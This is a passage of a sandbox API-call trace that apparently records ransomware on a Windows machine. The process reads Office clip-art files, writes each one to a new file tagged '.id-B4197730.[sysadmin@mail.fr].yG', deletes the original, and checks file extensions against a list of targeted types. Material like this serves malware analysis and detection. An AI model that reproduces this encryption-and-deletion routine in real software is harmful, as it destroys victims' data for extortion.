	[0176.071] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.071] SetEndOfFile (hFile=0x360) returned 1
	[0176.075] CloseHandle (hObject=0x360) returned 1
	[0176.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1
	[0176.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0176.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0176.793] lstrlenW (lpString=".doc") returned 4
	[0176.793] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0176.793] lstrlenW (lpString=".docx") returned 5
	[0176.793] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0176.793] lstrlenW (lpString=".pdf") returned 4
	[0176.793] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0176.793] lstrlenW (lpString=".xls") returned 4
	[0176.793] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0176.793] lstrlenW (lpString=".xlsx") returned 5
	[0176.793] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0176.794] lstrlenW (lpString=".ppt") returned 4
	[0176.794] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0176.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0176.794] lstrlenW (lpString=".zip") returned 4
	[0176.794] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0176.794] lstrlenW (lpString=".rar") returned 4
	[0176.794] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0176.794] lstrlenW (lpString=".bz2") returned 4
	[0176.794] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0176.794] lstrlenW (lpString=".7z") returned 3
	[0176.794] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0176.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0176.794] lstrlenW (lpString=".dbf") returned 4
	[0176.794] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0176.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0176.794] lstrlenW (lpString=".1cd") returned 4
	[0176.794] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0176.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68
	[0176.794] lstrlenW (lpString=".jpg") returned 4
	[0176.794] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0176.796] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=14632) returned 1
	[0176.796] CloseHandle (hObject=0x29c) returned 1
	[0176.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220
	[0176.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.797] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.797] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.799] GetLastError () returned 0x0
	[0176.799] ReadFile (in: hFile=0x29c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x3928, lpOverlapped=0x0) returned 1
	[0176.807] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0176.808] ReadFile (in: hFile=0x29c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.809] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.809] SetEndOfFile (hFile=0x530) returned 1
	[0176.809] CloseHandle (hObject=0x530) returned 1
	[0176.809] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.809] SetEndOfFile (hFile=0x29c) returned 1
	[0176.812] CloseHandle (hObject=0x29c) returned 1
	[0176.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1
	[0176.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0176.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0176.814] lstrlenW (lpString=".doc") returned 4
	[0176.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.814] lstrlenW (lpString=".docx") returned 5
	[0176.814] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0176.814] lstrlenW (lpString=".pdf") returned 4
	[0176.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.814] lstrlenW (lpString=".xls") returned 4
	[0176.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.814] lstrlenW (lpString=".xlsx") returned 5
	[0176.814] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0176.814] lstrlenW (lpString=".ppt") returned 4
	[0176.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0176.815] lstrlenW (lpString=".zip") returned 4
	[0176.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.815] lstrlenW (lpString=".rar") returned 4
	[0176.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.815] lstrlenW (lpString=".bz2") returned 4
	[0176.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.815] lstrlenW (lpString=".7z") returned 3
	[0176.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0176.815] lstrlenW (lpString=".dbf") returned 4
	[0176.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0176.815] lstrlenW (lpString=".1cd") returned 4
	[0176.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0176.815] lstrlenW (lpString=".jpg") returned 4
	[0176.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.816] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=6752) returned 1
	[0176.816] CloseHandle (hObject=0x29c) returned 1
	[0176.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220
	[0176.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.818] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.818] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0176.819] GetLastError () returned 0x0
	[0176.819] ReadFile (in: hFile=0x29c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x1a60, lpOverlapped=0x0) returned 1
	[0176.859] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0176.860] ReadFile (in: hFile=0x29c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.860] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.860] SetEndOfFile (hFile=0x530) returned 1
	[0176.860] CloseHandle (hObject=0x530) returned 1
	[0176.861] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.861] SetEndOfFile (hFile=0x29c) returned 1
	[0176.867] CloseHandle (hObject=0x29c) returned 1
	[0176.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1
	[0176.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0176.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0176.888] lstrlenW (lpString=".doc") returned 4
	[0176.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.888] lstrlenW (lpString=".docx") returned 5
	[0176.888] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0176.888] lstrlenW (lpString=".pdf") returned 4
	[0176.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.888] lstrlenW (lpString=".xls") returned 4
	[0176.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.889] lstrlenW (lpString=".xlsx") returned 5
	[0176.889] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0176.889] lstrlenW (lpString=".ppt") returned 4
	[0176.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0176.889] lstrlenW (lpString=".zip") returned 4
	[0176.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.889] lstrlenW (lpString=".rar") returned 4
	[0176.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.889] lstrlenW (lpString=".bz2") returned 4
	[0176.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.889] lstrlenW (lpString=".7z") returned 3
	[0176.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0176.889] lstrlenW (lpString=".dbf") returned 4
	[0176.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0176.889] lstrlenW (lpString=".1cd") returned 4
	[0176.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0176.889] lstrlenW (lpString=".jpg") returned 4
	[0176.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.226] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=13204) returned 1
	[0177.226] CloseHandle (hObject=0x3dc) returned 1
	[0177.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220
	[0177.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0177.495] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.496] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0177.497] GetLastError () returned 0x0
	[0177.497] ReadFile (in: hFile=0x2c8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x3394, lpOverlapped=0x0) returned 1
	[0177.589] WriteFile (in: hFile=0x3fc, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x33a0, lpOverlapped=0x0) returned 1
	[0177.590] ReadFile (in: hFile=0x2c8, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.590] WriteFile (in: hFile=0x3fc, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.591] SetEndOfFile (hFile=0x3fc) returned 1
	[0177.591] CloseHandle (hObject=0x3fc) returned 1
	[0177.591] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.591] SetEndOfFile (hFile=0x2c8) returned 1
	[0177.595] CloseHandle (hObject=0x2c8) returned 1
	[0177.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1
	[0177.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0177.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0177.597] lstrlenW (lpString=".doc") returned 4
	[0177.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.597] lstrlenW (lpString=".docx") returned 5
	[0177.597] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0177.597] lstrlenW (lpString=".pdf") returned 4
	[0177.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.597] lstrlenW (lpString=".xls") returned 4
	[0177.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.597] lstrlenW (lpString=".xlsx") returned 5
	[0177.597] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0177.597] lstrlenW (lpString=".ppt") returned 4
	[0177.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0177.598] lstrlenW (lpString=".zip") returned 4
	[0177.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.598] lstrlenW (lpString=".rar") returned 4
	[0177.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.598] lstrlenW (lpString=".bz2") returned 4
	[0177.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.598] lstrlenW (lpString=".7z") returned 3
	[0177.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0177.598] lstrlenW (lpString=".dbf") returned 4
	[0177.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0177.598] lstrlenW (lpString=".1cd") returned 4
	[0177.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68
	[0177.598] lstrlenW (lpString=".jpg") returned 4
	[0177.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.648] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=16632) returned 1
	[0177.648] CloseHandle (hObject=0x470) returned 1
	[0177.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 0x220
	[0177.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0177.651] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.651] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0177.652] GetLastError () returned 0x0
	[0177.652] ReadFile (in: hFile=0x470, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x40f8, lpOverlapped=0x0) returned 1
	[0177.715] WriteFile (in: hFile=0x418, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4100, lpOverlapped=0x0) returned 1
	[0177.716] ReadFile (in: hFile=0x470, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.716] WriteFile (in: hFile=0x418, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.716] SetEndOfFile (hFile=0x418) returned 1
	[0177.716] CloseHandle (hObject=0x418) returned 1
	[0177.717] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.717] SetEndOfFile (hFile=0x470) returned 1
	[0177.721] CloseHandle (hObject=0x470) returned 1
	[0177.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1
	[0177.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0177.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0177.729] lstrlenW (lpString=".doc") returned 4
	[0177.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.729] lstrlenW (lpString=".docx") returned 5
	[0177.729] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.729] lstrlenW (lpString=".pdf") returned 4
	[0177.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.729] lstrlenW (lpString=".xls") returned 4
	[0177.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.729] lstrlenW (lpString=".xlsx") returned 5
	[0177.729] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.729] lstrlenW (lpString=".ppt") returned 4
	[0177.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
	[0177.730] lstrlenW (lpString=".zip") returned 4
	[0177.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.730] lstrlenW (lpString=".rar") returned 4
	[0177.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.730] lstrlenW (lpString=".bz2") returned 4
	[0177.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.730] lstrlenW (lpString=".7z") returned 3
	[0177.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68
